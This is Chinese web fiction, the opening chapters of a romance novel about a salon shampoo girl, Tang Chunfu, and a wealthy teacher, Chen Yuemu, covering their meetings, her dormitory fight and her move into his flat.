《四月十三日的福春》 1. 洗头 《四月十三日的福春》全本免费阅读 「一切伟大的德行都有荒谬的一面。」 四月十三日,晚。 巷子寂静,叫骂声随着铁门撞开冲向路口。路灯下尘烟四散,狗叫声吓得人回了神。 “快跑啊!” 凄厉的喊声回荡在森冷深夜…… * 福春打个哆嗦睁眼,盯着窗子看了一会。安谧深夜里空气净化机传来微微响动。 睡在身旁的人翻了个身,福春摸摸他的脑袋,慢悠悠穿上睡衣坐在电脑前开始例行公事。 “Hi.” “HifromChina.”这不是她第一次打招呼,福春驾轻就熟。她就这一句最溜,剩下的就是带着浓重口音的蹩脚中式英语。 福春上过学,但小县城师资不好,英语课学的都是哑巴英语,敢开口说话也是这几天练出来的。 一切都和往常夜晚一样,她扫一眼周围,把摄像头旁的小灯调亮些照在自己脸上。 福春口语虽然烂但不妨碍聊天,有视频连说带比划也可以和对面外国人沟通,甚至有时都不需要她多说对面自己就直入主题。 视频那头大胡子白男很快站起来解裤头开始动作。福春看了两秒点击鼠标换下一个。 下一个也正干得热火朝天,她见怪不怪又淡定换了一个,有时赶巧一晚上能看见十几根。 能用这软件聊天的基本都是想约会交友,福春也不例外,但她想好好聊聊,不用聊太多,确认对方是个正常人就行。 “HifromChina.” “Guesswhat?I''minShanghai!” 福春终于听懂了上海,她招招手又笑着打一遍招呼。 聊了这么多终于碰上个正常人,小哥高鼻大眼还挺帅,福春赶紧拿出手机查单词和他接着聊下去。 “Mynameis……Lily.”她在一串英文名中挑个最好念的。 “MynameisSimon.”对方又重复一遍,“Simon.” “Simon.”福春跟着他念了一遍,两人同时坐在电脑前傻笑。 “老师。”小帅哥指指自己,“Chineseteacher.” 随后男人摆摆手很松弛地说道:“Kidding,Englishteacher.” 福春捂住嘴咯咯笑个没完。 床上的人动了动,她瞄一眼旁边,不耐烦把被角一掀盖住那人的脸又重新看向镜头。 聊得差不多,她也要进入她的正题。福春解开一颗纽扣露出些微柔软弧度,她凑近拿起手机对着镜头问:“doyouhav——微信?” 小帅哥握拳佯装咳嗽挡住笑容,随后腼腆亮出二维码与福春互加。 手机刚调出扫一扫,床上黑影跳起来窜到福春跟前冲着屏幕竖中指,骂了句:“fuck!”然后大手一扣将电脑合上。 “你干嘛呀?” “汤春福,你能耐了,当着我的面跟别的男人聊骚!” 房间灯光骤亮,一张唇红齿白的帅脸怒气冲冲瞪她。 福春眨巴下眼睛理直气壮:“你让我找的。” 软件还是他教自己用的,福春都当他面聊了好几天,这会突然发火什么意思? “不准再找了,明天就把账号注销!”陈悦目抖了抖被子背身躺下。 福春也不生气,在床边抠手坐了一会又关灯躺回床上。 夜里静悄悄,她沾枕头呼呼大睡,敞开的胸口随着浅浅呼吸规律起伏。 陈悦目睁眼,倏地又坐起来看着熟睡的人生气。 “你还睡挺香。”他想打醒她,手落下又变成轻轻抚摸。手指背触碰脸颊让福春感觉瘙痒,她抓抓脸,腿卷起被子翻了个身。 陈悦目重新睡下,把手搭在福春腰上侧躺着将人抱在怀中。 怎么就栽她手里了?陈悦目自己也想不通。 * 福春本名汤春福,福春是陈悦目故意把她的名字反过来叫,叫着叫着后来大家都开始叫她福春。 他第一次见福春是在回家路上的那间发廊前,那时陈悦目刚结束一场企业党建教育培训。 人来人往的道路上,陈悦目站在一边,隔着摆摊小贩和无数辆穿梭而过的小电驴一眼望见福春坐在店门前的台阶上。她手捻着一支一串红,摘下花朵倒过来吸花蒂里的花蜜,脚边散落一堆小红花。 春夏交替之际明媚阳光照在她脸上仿佛点亮了整个世界,灰扑扑的大街只有她在的那个角落格外突兀。 “密涅瓦。”陈悦目脱口而出,说完立刻回神,看见马路对面的人正回望自己。 那双眼睛很好看,黑黑亮亮,映着灿烂的阳光神采奕奕。 “新店大酬宾,洗剪吹半价40元!”福春抄起旁边的宣传单冲着他喊,“大哥,进来洗头不?” 陈悦目迈出一步,一脚踩上泥地里的红色塑料袋,泥水溅上深灰色西装裤脚,远处小电驴哔哔按着喇叭疾驶而过。 再抬头,对面的人不见了。 从发廊里出来三四个人在台阶上东张西望,其中一人扬着自己包白纱布的耳朵破口大骂。陈悦目忽然感觉裤子动了动,一低头发现那人蹲在他身后。 福春握住一串红仰望他,手放在嘴前比了个嘘的手势。 人靠近了陈悦目又细瞧了几眼,怀疑她是不是脑子有毛病。 他退后两步,福春见他躲开又马上跑到后面的废弃铁皮垃圾车旁藏着。 街对面那人捂住耳朵骂骂咧咧离开,剩下几人又回到店里。福春从垃圾车后出来将手里的花伸到陈悦目跟前。 “送你,谢谢。” 被摘剩的几个花骨朵接在细长枝上在风中瑟瑟摇曳。 从来没人给陈悦目送过花,他还以为要等到下葬那天才会收到。 “他们为什么找你?” 陈悦目没要她的花,转而和她站在街上聊起来。 “我把那人耳朵给剪了,他非让我剪的。” 陈悦目幸灾乐祸。 “你笑什么?”福春不解。 “不能笑吗?”他收敛笑容。陈悦目不笑的时候那双眼睛幽幽的没有一点温度,好看却渗人。 “能!能笑。大哥,你进去洗头不?” “被你剪了耳朵怎么办?” 福春一边做着洗头的动作一边解释:“我不剪你耳朵,我只洗头还不行嘛!” 动作有点蠢,蠢得有点可爱,但陈悦目觉得蠢会传染。 “我不让傻子碰我。”他摇摇头,转身离去。 半小时后,陈悦目反悔了。 他站在发廊门口,西装革履换成卫衣帆布鞋,只有头发还像半小时前那样梳得整整齐齐。 “五号!洗吹一位。”门口迎宾小弟朝店内大声喊,“五号!” “来了!”一道细瘦身影从旁靠近,黑色工服衬得那张脸更加红润俊俏。 福春看见来人睁大眼指着对面说:“呀你来啦!骂我傻子那人。” 带客小弟不好当着顾客的面教训福春,只能瞪她一眼赶紧接话:“先生,先给您换件浴袍。” “不用。”陈悦目盯着福春看,后者很机灵地招呼他进里面洗头的区域。 “坐,我给你拿个毛巾。” 一整排洗头床只有一个人在洗。福春一手指向空着的位置,另一手从旁边消毒柜抽出两条温热毛巾给陈悦目披上。 毛巾质地偏硬,从领口塞进去触到皮肤时陈悦目下意识躲开。一同伸进领口的手指触碰到他的后背,两人同时一顿,随后福春把毛巾给他仔仔细细掖好。 “把毛巾围上,省得一会衣服沾水。”她笑呵呵解释,手扶住陈悦目的肩膀让他躺在洗头床上。 比起其他刚入职的学徒福春多了份从容和热情,但动作又很生疏,有种随时捅娄子的感觉。 脑袋顶上传来椅子拖动声,一双手伸到陈悦目面前晃了晃。福春声音放缓对他说:“这是要用的洗发水,给您闻闻味道。” 她说着把梳整齐的发型拨散,打开花洒调节水温。 淋水声充斥在陈悦目耳边,头发被一点点打湿。福春将洗发露倒在手心,打出泡沫开始给他搓洗。 细长温暖的手指伸进发间游走,手指肚在头皮上不停搓挠。 “这个力度可以吧?”昏暗的氛围和水声让人犯困,声音从上方传来,“大哥,第一次来洗吗?” 陈悦目不做反应。他没在这种地方洗过头,平时也不爱和别人闲聊。 福春安静了一阵,两只手直接开始在他的头顶上按揉,又搭话:“给您按按头肩。” 手从头顶一直揉到后脖颈,就着打在头发上的那点廉价洗发露做润滑一路向下按到脖子,最后甚至伸进领口 2. 本地人,二十二 《四月十三日的福春》全本免费阅读 工作日,陈悦目下班之后被叫回家吃饭。 “现在都请不动你。”陈母喝完汤放下调羹,旁边佣人立马将汤碗收走。 陈悦目也看一眼身旁示意过来收碗,“今天不是回来了。” “是啊,可算把你盼回来了。” 他们家住在新区,和陈悦目的大学相隔一小时车程。路程太远陈悦目干脆在学校附近租房,平时一周回来吃一次饭打卡确认自己还活着。 一家三口坐在摆满菜肴的红木圆桌前,旁边挂着一幅巨大火红的油画,挑高的空间让画撑起整个视觉中心,也把饭厅变得庄重气派,使一周一次的相聚变成一种隆重的仪式。 陈母突然聊起邻居养的五只柯基特别好玩,说着笑起来,脑袋上的发卷也跟着颤动发出哒哒声响。 “头上东西摘了行不行?不伦不类。”陈父坐直身体擦嘴,斜一眼身旁佣人示意换骨碟。陈母摸摸脑袋上的卷子忽然撇下嘴,像个小女孩抱怨:“又烫不了头发只能自己随便弄弄。” 女人颇为可惜说:“做头发的那个阿莲嫁掉了。 “嫁给一个老板,以后再也不用出来给人烫头。” 陈悦目对这些八卦没兴趣,只是听见做头发忽然神情放松,他低头要笑不笑的样子被陈母发现便揶揄他:“怎么,你也喜欢洗头妹呀?” “说的什么话?” 陈父打断,但陈母不予理会,“也是,那些打工小妹眨巴着水汪汪的大眼睛,再掉两滴泪说‘大哥你帮帮我’哪个男人受得了……” 偌大的饭厅飘荡着她说话的回音,“女人嘛,混到哪个阶层都是伺候男人,伺候有钱男人还能跟着吃香喝辣。这是她最好的命了。” 陈母话里有话。陈父去了自家会所办卡偷偷做了两个礼拜推拿,这事上周她才从经理那边得知。 “哼,像她们那些伺候人的,被老板看上都是图年轻漂亮,喜欢他们的都是色鬼。”女人冷笑,“找她们就等着被戳脊梁骨吧,丢人现眼。” 夫妻的事摆上台面来讲绝对不行,他们家再也丢不起这人。陈教授拦不住妻子,便猜到她可能发现点什么,放下筷子老实交代:“我腰痛,前两周去你会所开了个卡,想去做个推拿试试。” “呦,你怎么不早说。”陈母故作惊讶,“我给你联系刘大夫,他现在每周五在咱们这片出诊。” “好,那你帮我联系。” 又是恩爱和睦的一家。 陈悦目心不在焉,听着他们一唱一和不小心把筷子掉在地上,恰好在沉默的间隙。他身子一顿,僵直身体等着地上的筷子被捡走。 “洪姐,去给他把矫正筷拿上来用。” “是佳佳先前用的那种吗?”洪婶惊讶。 “是,就是那个。”陈父不容置喙。 一双粉红色中间带三个指环的卡通筷子被拿到陈悦目桌前摆放好。他看一眼筷子抬头哂笑:“至于吗?” 陈父慢条斯理挑起一团白米饭吃下,盯着眼前饭菜说:“你没有规矩,我在教你。” “我不是故意的。” “陈悦目,不要顶嘴。” 壁灯闪了闪,洪婶赶紧走过去关掉,“灯泡坏了,我明天去换。” 火红欢乐的画只在顶灯映照下仰头看时会变成另一种状态,它和这个家很搭。远看喜气洋洋,近看鬼气森森。 陈悦目拿起矫正筷,一口一口开始吃饭。 “好啦,难得他回来吃饭。你一说我下周又见不到人了。”陈母嗔怨,把一块红烧肉盛给陈悦目。 “有空帮忙找找做头发的地方,改天把联系方式给你妈。”陈父随口交代,然后又稀松平常说起另一件事,“过两天我介绍个女孩子给你认识。本地人,才二十二。” 金边瓷碗里白米饭上盖着四方块的肉,汤汁只覆在表面上,饭还是白光油亮粒粒分明,浓郁的香味漫进鼻腔让陈悦目胃中反酸。 他不能在吃饭中途擅自离开,即使不舒服也要忍到晚餐结束否则会有更麻烦的事等着他。 在这个家里怎么坐,怎么站,怎么走路,一言一行自有一套规矩。人活在这屋檐下也要活得方方正正能恰好摆进条条框框里。 “好的。”陈悦目回应的是第一件事,至于陈父说的另一件已经不属于陈悦目能决定的范畴,所以他不用发表意见,只需要接受。 晚饭后,他早早离开回到租的房子。陈悦目将车停在学校走回去。 回去的那条路摊贩占据街道大半位置,只留半条路空隙让电动车和行人被挤在一边艰难前行。他跟着人群慢慢向前蹭,听着路中央传来刺耳的蹦迪音乐和喇叭循环喊话。“新店大酬宾,洗剪吹40……” 包刮到卖泡椒鸡爪的摊车,他回头,余光瞥见一大一小两团黑乎乎的身影缩在墙根下。 福春一手撸猫,一手揉眼。 这是他第二次看见福春。 “又剪谁耳朵了?” 阴影遮住福春身侧的一片光,她抬头,眼睛连带着周围皮肤被搓得红通通。 “剪不了,老板不让剪耳朵了。” “这老板没眼光,应该用热毛巾呼他眼睛上把眼珠子汆熟。” 福春摸着猫背,仰头问:“啥呀?” “躲在这哭干吗,有困难我帮你。” “真的?” 陈悦目眼中含笑,低头说:“骗你的。” 他心情不好,想起上次的事又小肚鸡肠翻旧账,决定逗逗她再回去,“我不管闲事。” 马路上车声盖过了说话声,福春抱着猫嘟囔。虽然听不清她说什么,但想也知道没好话。 陈悦目又问她:“你到底哭什么?” “没哭啊。” “眼睛为什么红了?” “辣的。” “傻了吧唧的撒谎也不会。” “我不傻,真的我不骗你。” 陈悦目还是不信。 “不信拉倒。”福春猛一吸鼻涕,揪住袖子使劲抹脸,嘴里喋喋不休,“哥进来洗头吗?新店大酬宾洗剪吹40,办卡还能折上折,焗油、染发套餐免费升级……” 她一边哭一边说:“店里用的染发膏都是国外进口,纳米科技精炼制成,我们与瑞士皇家染发研究协会……” 福春就蹲在他脚边,陈悦目见她一脸鼻涕又是恶心又是好笑,看着看着心口痒痒的,想起那天她坐在台阶上吃花。 “你鼻涕都蹭脸上了,好恶心。”他从包里掏出纸巾扔下去,低头俯视福春,觉得她像只小脏狗讨好地在自己脚边打转。 慢慢地,陈悦目抬起脚。 “我要洗头。” 他皮鞋挨上福春,与她鞋碰鞋说道:“你不是说下次来还找你吗?” * 傍晚发廊客人多,一排的洗头床只剩里面还有个空位,福春朝里探一眼转身欢欢喜喜对陈悦目说:“还有位置。” 陈悦目带着包来,福春伸手给他提包被他躲开,转手将包给另一个店员帮忙存上,对她说:“你把手洗干净。” 福春让洗就洗,等回来时手里多了块毛巾。 “我擦擦。”她利索地将洗头床从头到尾擦一遍,又勤快地把洗头盆抹了一圈然后看着陈悦目笑:“行吧?” 陈悦目没表示,站在那等着福春伺候。 还像上次一样温热的毛巾从消毒柜里面拿出来,福春仔仔细细给他披上,掖毛巾时特意在他耳边小声说这是新买还没用过的毛巾。 “我悄悄给您的,要不老板一会该骂我了。”她看出来陈悦目有点洁癖,不喜欢用别人用过的东西。 水声沥沥,一双手托住陈悦目脑袋温柔冲洗头发。十指在他发隙间抚摸按揉,“头放松,我好好扶着呢!” “发尾要不要修一修?”福春揉进发间的手指夹住他的发梢轻轻向外扯。 “不要。” “大哥您头发有点分叉,店里有一套天然萃取黑芝麻养护产品是我们老板自己研发的,给您试试好不好?” 陈悦目不想听福春那张嘴嘚吧嘚这些假冒伪劣产品。 他睁眼,与福春对视直接问:“我买一套你能赚多少提成?” “啊?” 福春长得很好看,大眼睛瓜子脸,是一眼看上去让人怜惜的那种长相。 陈悦目见她呆住笑笑:“随便问问。” 福春给他头发又打上泡沫,然后低头凑在陈悦目耳边说:“就赚一点,头还痒吗?再给您按按?” “嗯。” 他放松肩膀等待细腻有力的手指搓揉他的皮肤,享受地聆听福春在耳边喘息。 “你是本地人?” “嗯,就在旁边县城。” “你多大?” “二十二。” 结账离开时福春正坐在门边休息,她看见陈悦目又冲他笑一下。 夜幕中玻璃窗映出陈悦目的侧身,刚好叠在对街广告牌的笑脸上,好像他也在笑。 “一共40,请问是支付宝还是微信?” “他办了卡。”福春凑过来,“大哥,用卡更划算。” “卡扔了。” “别呀,您报手机号也行。” 陈悦目没理她,福春显然比他上心这仨瓜俩枣,赶紧报出一串数字。 前台顺利结账,“一共消费三十五元。” 她得意地从前台手里抢过来小票递给陈悦目。 “你记了我的卡号?”陈悦目用两指夹住小票,玩味地从福春手中慢慢抽出。 “嗯,记着呢!” “以后也记着。” “行,大哥。”福春开门送客,开心地提醒他下次别忘了自己买的两个养护套餐和精油套餐还有黑芝麻生姜防脱套餐,趁着出门的功夫她也不忘推销,“大哥您长得白染个衬肤色的头发试试呗?” “我工作不能染。” “哦,您做什么的?” “老师。” 福春懒懒地倚在门上一推,从围裙里拿出一个小橘子塞给陈悦目,“慢走啊,老师。” “我姓陈。” 两人的手在拿橘子的一瞬相触碰,陈悦目摸了她的指尖,细细长长,很温暖。 男人很色,色起来没有下限。他对自己的行为完全心安理得。 福春愣怔,随即捂住双手搓了搓,朝他露出腼腆笑容。 “头发染得很丑。”陈悦目忽然盯着她脑袋上那一缕白金色染发。 “陈老师,你说话真直。” 陈悦目对外人说话向来不客气,特别是对不如他的。 夜风吹拂,他走下台阶,福春也跟着下台阶。 走到外面,陈悦目问她:“有男朋友吗?” 福春歪着头问:“如果有呢?” “有就甩了。” “为什么?” 陈悦目低头剥开小橘子,连着皮一同掰开,然后将一半递给福春,“没为什么。” 他转身,忽然又回身,“你叫什么?” 福春一屁股坐在台阶上,笑嘻嘻说:“五号!” “名字——”陈悦目又问一遍,“叫什么名字。” “汤恩熙。” 旁边抽烟的洗头小弟看着福春乐了,声音盖住隔壁水果店老板手机里放的救风尘,陈悦目冷冷扫去一眼连招呼也没打直接离开,倒是福春在他身后大喊陈老师再见。 福春的出现完美契合陈悦目心中那点英雄情结的幻想。 他大张旗鼓在这间破发廊砸钱,像公狗撒尿圈领地一样骚包显摆福春是他要的人,每次来只要遇上福春给别人洗头按摩他就抱手靠墙像馋肉的豺狼一直盯着看。 福春也由着他看,她也看着陈悦目,一边看一边按,揉手敲背,每一下都像按在陈悦目身上。 现在只差福春眨巴大眼睛掉两滴泪说:“大哥,帮帮我吧。”然后陈悦目就可以合情合理以一 3. 小红花与塑料袋 《四月十三日的福春》全本免费阅读 六月份,刚下的水蜜桃上市。 福春蹲在墙根啃桃子,看见陈悦目路过。 “陈老师!” 她朝他兴奋招手,后者没听见似的快步向前,没走两步被福春拦住语气讨好问他:“下班啦?今天进来洗头呗,我给你挠挠。” 陈悦目视线挪开,连看也不愿意看福春。 当初台阶上那个自由灿烂的灵魂怎么会和面前这个大土货是一个人? 他现在听见洗头两个字太阳穴就突突跳,在家洗个澡突然想起这事都要啐一声晦气。 “没空。” “你下课回家了吧,我看你总往这边走。” “有急事,不聊了。” “有啥急事,你这不刚打完球?” 福春指向他手里的羽毛球拍。话不需要说的太明白,福春不可能不懂,但她就是戳穿了,装得像个不懂世故的傻子。 陈悦目心头窜火,冷眼看向对面,想不通自己为什么会蠢得三番四次让这女人牵着鼻子走。 两人站在大街中央。福春见他不说话,木呆呆盯着自己也不知道在想什么,无聊地拿起吃了一半的桃子继续啃。 咵嚓! 果肉擦着嘴唇送进口中,汁水挂在唇瓣上晶莹剔透,将红润的唇刷得亮晶晶。甜腻的果汁渗进嘴角伤口,杀得肉里刺痛,福春伸出舌尖轻舔嘴角。 这副模样让陈悦目心头那把火又烧得更旺,从心一直烧到大脑,烧到四肢百骸,烧到腹间。 他轻佻抬手,嫖客挑妓女那样掰住福春下巴问她:“嘴又怎么了?又是辣的,啊?” “擦破点皮。”福春心虚,侧头躲开他。 “装什么可怜?”陈悦目讥嘲。放前两天福春这德行还能说大俗即大雅,是有那么点意思的,现在陈悦目只觉得恶心。一见她脑子里就回放那天的场面。那些画面仿佛也在嘲笑陈悦目曾经捧着一滩屎贴在脸上当宝贝,让他有种被耍还没处说理的窝囊。 “谁装了?” 福春想了想桃子也不敢吃了,放下手又悄悄背到身后,问:“你还生我气呢?” “你像个瞎子。”陈悦目绕开,又被福春挡住。 “陈老师,你在隔壁大学当老师吗?” “你想干什么?” “没啥,就问问啊。” 福春被问得一愣,盯着陈悦目看了一会慢慢退开,让出路看着他大步离去。 * 大街空荡,福春在发廊门外的阶梯上坐着,从围裙里掏出一支瘪掉的护手油挤在手背上擦。上周老板说要给她提前转正,从助理升技师,工资也能比原来涨两百。她才来两个月已经比来两年的都厉害,手头上除了陈悦目这个大客户还有不少邻里街坊也吃她这套。 但福春总觉得自己在这干不久,老板能把扣下的工资结给她就不错了。 “汤春福,你不回去啊?” 和她一班收尾的同事拉上闸门拿着钥匙晃晃悠悠从台阶上走下来。福春不大想回宿舍,她每次都拖到最后等别人睡下才回去。 “能去你们那待会不?” “老板不让窜寝,抓到要罚钱。” 福春兴意阑珊,踢了一脚地上的桃核跟着一起回宿舍。 他们店男多女少,男生有三间宿舍,每间住四人。女生五个人,就住稍大一点的上下铺六人间。 福春回到屋里,大伙正排队洗澡,看见她早回来白眼都翻上天。 “呦,大红人今天咋这么早回来,没出去找你的帅哥们玩啊?” 福春不言语,脱了鞋躺床上等着洗漱。 她最近日子不怎么好过。走偏路赚大钱总是容易遭记恨,前一阵陈悦目砸钱买东西太过招摇,一看就是冲着人来的。偏偏福春还不收敛,在陈悦目这尝到甜头又到其他人那照葫芦画瓢,摸摸手,再凑耳朵边喘两声,让每一位好大哥都觉得在福春心里自己是独一份。 其他人洗漱完站在床边低头整理衣服,奚落福春:“又出去勾搭谁了?也分点业绩给咱兄弟姐妹。” “得了,真给你你也留不住人家。” “怎么留不住?拉下脸够骚就能赚钱。” 大伙哈哈笑,福春也跟着笑。 笑完宿舍一阵沉默。 带头的阿红突然凑到福春前面嗅嗅又立刻用大手扇了扇,“呦,什么味这么臭?” 旁边的跟班唱双簧:“是骚味吧?” 阿红在这干了将近一年,上个月才升技师。看见福春干了两个月就能升技师气不打一处来。说她精明吧,点了她两三次别走歪道愣是没听懂,说她傻吧,又知道和那些那人勾勾搭搭拉生意。 大家都是老老实实洗头赚提成,正经干活的姐妹辛辛苦苦洗一天居然还没走歪路的挣钱多。 “哈哈哈,狐狸精的骚味。”大家围住福春嘲笑,头发上的水珠溅在床单上,还有些溅在福春脸上。 福春跟着嘿嘿两声,翻身下床要走。 “哎,你去哪?” “去洗澡。”福春笑着说,“不是嫌我骚吗?” “就因为你,给我们惹了多少麻烦事?累得要死还要被拽出去训话。”阿红垮下脸抓住她胳膊,一把将人甩到床上教训,“你改不改?” 福春坐起来歪头问她:“我凭啥改?你们忍忍呗。” 话听着像挑衅,让几人大为恼火。 “你怎么不知好歹!” 她们围住福春要揍她,把她压在床上。福春抱住她们,掐她们的腰挠痒痒,打起来跟小姐妹闹着玩似的笑成一团。 “说谁骚呢,嗯?” “别打啦!”阿红往福春身上狠拍几下狼狈站起,其他四人也跟着站起来,脸上还挂着意犹未尽的笑,看向阿红时又迅速收敛。 “好玩吧?”福春拽拽她们示好,被一掌拍开。 “谁跟你玩了?不要脸!” “那我去洗澡啦!” 福春玩够了爬下床,被晾着的五人面面相觑过了好一阵才确定自己被耍了又气冲冲闯进浴室把她拖出来。 “骚货,跟你没完!” 几人推推搡搡,滚在地上翻来覆去地打,一路从宿舍打到走廊。 阿红趁乱给了福春一个大嘴巴子,福春一手抓浴巾一手抓她头发就往墙上抡,两人抱在一起撕扯,最后闹得报警把老板叫来事情才罢休。 “活不好好干还给我惹事生非!”呛人烟气源源不断从男人两指间夹着的香烟冒出,福春伸手扇开被对面狠狠一瞪,“扣你们工资。” “老板,你看我被她打的!”阿红撸起袖子指着身上淤青告状。 大晚上打架还报警,老板手气正旺被叫过来一肚子火,对着她们劈头盖脸就是一顿骂。 “哎哎,不管那个。”男人狠抽几口烟,然后在地上按灭烟头起身道,“你们都有错,一人扣五百。” 说罢夹着公文包一边打电话约牌局一边开门出去。 福春抽起一旁的毛巾悠哉擦头,伸腿踢了踢身旁,笑说:“这老板只赚钱不管事,你傻么兮兮跟他废什么话?” 她说完被狠踹一脚,旁边的人两手紧紧抓住床沿,阿红僵硬转头,瞅着福春咬牙说:“王八蛋,我这个月还要寄钱回家。” 福春不往心里装事,闹翻天也该吃吃该睡睡。夜深人静,她突然被一阵凉意惊醒。 那是一股从后脑勺窜起的阴冷,让人头皮发麻。 她睁眼,在黑夜中与另一双眼睛对视。 “我杀了你!” 福春嗷一声惊叫,一巴掌掀翻坐她身上那人。四周传来响动。不知道是谁打开床头台灯,微弱光线弥漫整个房间,让坐起来的人影映照在墙上。福春顺着自己脚边的黑影看去,影子那头的人正举起剪刀虎视眈眈瞪着自己。 她燃起一股求生本能,让身体不自觉发抖,发疯般拿起枕头朝对方抡去,坐在她身上狠命撕打。 两人掐住脖子,撕扯头发,剪刀划破皮肉,血顺着胳膊流在枕头上。福春感觉不到疼,直到大家勒住她摔到床上。她用沾上血的手摸上脸颊,湿湿的,分不清是血是泪。 然后所有人都在哭,一个比一个哭得厉害,只有福春慢慢地不哭了,抱着腿蜷缩在床头。 这次没报警,老板差张万子胡十三幺,被叫过来更生气了。烟也不抽就干点上搭在桌边,斜乜她们。 “怎么回事,又怎么回事?你们怎么这么烦!” “她要杀我。”福春开口,说着撸起袖子直直伸到老板面前。 “是她先动手,剪刀也是她的!”对面反驳。 老板扭头问旁边四人:“咋回事?” 这屋子里没人向着福春,只要一个眼神大家就能达成默契。 没看到,不知道,剪刀的确是汤春福的。 然后事情盖棺定论:“你这样我不能留你了,明天走人。” 福春深吸口气,看着天花板眨眨眼说:“好。” 早上五点,老板离开。所有人默默坐在原 4. 不准吃花 《四月十三日的福春》全本免费阅读 “伞放门口。”陈悦目带着福春回到租的房子。 屋子是一居室,约莫三十来平。 铁门挡住屋外阴冷潮湿,福春瞄一眼四周,室内灯光像太阳一样温暖干燥,外面暴雨雷声在这里也变得温和。 福春跟在陈悦目身后看着他换鞋、放外套、洗手,动作一气呵成。 “陈老师。”她唤他一声。 陈悦目回头,向下望。 木地板上印下一串潮湿的脚印,福春动动脚趾撑开湿掉一半的袜子,抬头看着对面装傻:“呀,怎么湿了?” “把袜子脱掉。”陈悦目一边说一边从鞋柜里拆开一双全新的灰绿棉拖放在她脚前,又在洗衣机边上的柜子里拿出一个大盆,“去把脏衣服换掉丢这里。” 福春笑笑,脱下湿答答的书包从里面拿出皱巴的换洗衣服抖开。书包不防水,衣摆处湿掉一大片。 陈悦目叹气指着盆,“算了,全丢里面。” “那我没衣服了。” “我给你找一件。” 他去衣柜里拿出一套睡衣和两条毛巾怼进福春怀里,将人推进浴室,“洗完澡再换上。” 睡衣是陈悦目的尺码,福春穿上明显大一号。等她洗好澡出来,陈悦目正戴着手套把大盆里的湿衣服一股脑塞进洗衣机。 福春抻起袖子嗅味道,同陈悦目搭话:“陈老师,你衣服真香啊!” 她站着他身后问:“这是你平时穿的睡衣吗?我没穿内衣你不介意吧?” 陈悦目停了停,扭头瞅她一眼又转回去说:“给你的是新衣服,我穿过的不会给别人穿。” 屋子里沉默,福春等了一会先开口:“你家就一张床。” “嗯,给你睡。” “我睡床,那你睡哪?” 她真的敢问。陈悦目冷笑,跟骂人似的。 “你说我睡哪?” “……睡床,我睡地上。” “这是你自己说的。”他起身走去从衣柜拿出垫子铺在床边走道,又拿出厚棉被垫在上面,最后铺上枕头被子。一个简易的临时床铺迅速做好。 “今晚睡那。” 被子枕头是全新的,看起来又软又厚,临时凑的床铺比福春在家里睡的床都好。 整个家大概只有房子是最便宜的。 “什么味好香啊?”饭桌上摆满餐盒,福春折腾一天还没吃东西,从浴室出来看见饭摆在桌上明知故问。 陈悦目瞥一眼身旁懒得戳破福春那点心思,“洗手吃饭。” 两人把外卖盒拆开装盘。餐具都用家里的,其实饭菜可以不用盛出来,这些外卖盒一看就是好材料做的,特别厚实,当碗用也没关系。 “吃菜。” “哦。”福春看着眼色在陈悦目吃过后也跟着夹菜,每道菜都等他吃过了才夹。 “吃吧,别客气。”陈悦目没看她,也不知道在看哪,就虚空瞪着前方一口一口吃饭,嚼蜡似的。 得到允许福春不再客气,开始大吃特吃,把头埋在饭碗用筷子拨饭进嘴里。筷子和瓷碗碰撞发出叮叮清脆响动,伴着嗦饭的声音餐桌上终于有了点吃饭的感觉。 陈悦目闭闭眼,顿了两秒开口:“叫你别客气没叫你肆无忌惮。” 福春嚼着饭笑兮兮对陈悦目说:“对不住啊陈老师,我太饿了。” “这家饭真好吃,馆子叫什么名?” 对面扯扯嘴角,把外卖盒的盖子翻过来指了指角落处印下的名字给她看,然后又从碗里挑起一大坨白米饭送进口中继续嚼蜡。 福春看一眼名字若无其事大口扒饭。 给陈悦目送餐的馆子是本地有名的私房菜馆,网上营销一大堆,馆子预订已经排到半年后,年夜饭则排到了后三年。就是这么个订都订不到的菜馆居然给陈悦目送外卖。 福春舀起小半勺菜汤倒进碗中将剩下的米饭就着吃光,然后询问:“陈老师,你家有老干妈不?” 陈悦目不吃辣,家里甚至连小咸菜都没有。 “没有,只有枸杞。” 福春又盛了碗汤,去捡配菜里的小米辣用筷子拨着一起吃掉。 一番折腾到了晚上,她洗漱完躺上自己的小窝,脸贴在厚软的棉被里满足叹息。 床那头忽然亮起光,陈悦目骂了一声:“骗子。” 隔了半天福春才反应过来是骂她,“我骗你什么?” “汤春福!”陈悦目翻身坐起,“你身份证也扔洗衣机里了,想不到吧?” “还给我。”福春惊讶,弹起来扑上去要抢,被陈悦目手指着让她退回床下。 “不准上来。”他把身份证给她扔过去,“你不是骗子是什么,还二十二,嘴里一句真话没有。” “谁骗你了,我算虚岁十二月生的。”福春嘟囔,“今年就是二十二。” “狡辩。”陈悦目瞪她,突然又嘲笑,“土了吧唧的名字。” 福春在床下发脾气猛踹,踹了半天愣是没敢上床,撒泼张牙舞爪的样子倒把陈悦目逗乐,她听着对面的笑声更气了,“爹妈取的我能咋办!?” “我是说你取的假名,土了吧唧的。”陈悦目解释完又开始笑。笑得福春都开始费解,这人怎么跟个神经病似的。 她不理他,把身份证放在枕头下,拉上被子重新睡下去。 暖暖的灯光映在天花板,空气净化机的轻微风声和外面雨声交织让福春精神放松,胆子也跟着大起来,“你也没告诉我你的名字。” “你不是拿了我的卡?” “陈悦目。” 床那头静了静,陈悦目嗯一声,又骂了她一句:“死骗子。” “啧,怎么还骂?” 那边语气轻松:“为什么不做了?” “打架。”床头的电子钟更新了时间,福春看着上面的日期惊讶,“今天,不对,昨天是十四号。” “十四号怎么了?” “我在那干了整整两个月。” “哼。” “那是我来这打工的第一天。” “四月十四号?” “嗯,再前一天是四月十三。” 陈悦目发现自己顺着她的话数日子特别白痴,“你再往前数数,直接数到年三十。” 福春抖抖被子钻进被窝,问:“你想听我说什么?” “为什么打架?” “我又不是你学生。” “信不信我赶你出去?” 床下沉默一阵,飞快回答:“她们嫌我骚。” 床上果不其然又传来恶劣的笑声,笑了很久,笑得床都在颤。 这回福春没生气,等那边笑的差不多了才说:“不骚你能让我进屋?” “你怎么进来的你自己不清楚?” 床下的人把手举起来,拿着那张卡一动不动说:“把你的卡拿走吧!” 陈悦目没吱声。 福春得意地高高举起手,一字一字清晰说:“我要是骚,你就是色。” “是,男人都色鬼。”陈悦目语气坦荡甚至还有点愉悦,“你勾搭的不止我一个吧,找我干什么?” 陈悦目想她要是敢说自己是最傻的那个,他就立马连人带铺盖把她丢出门。 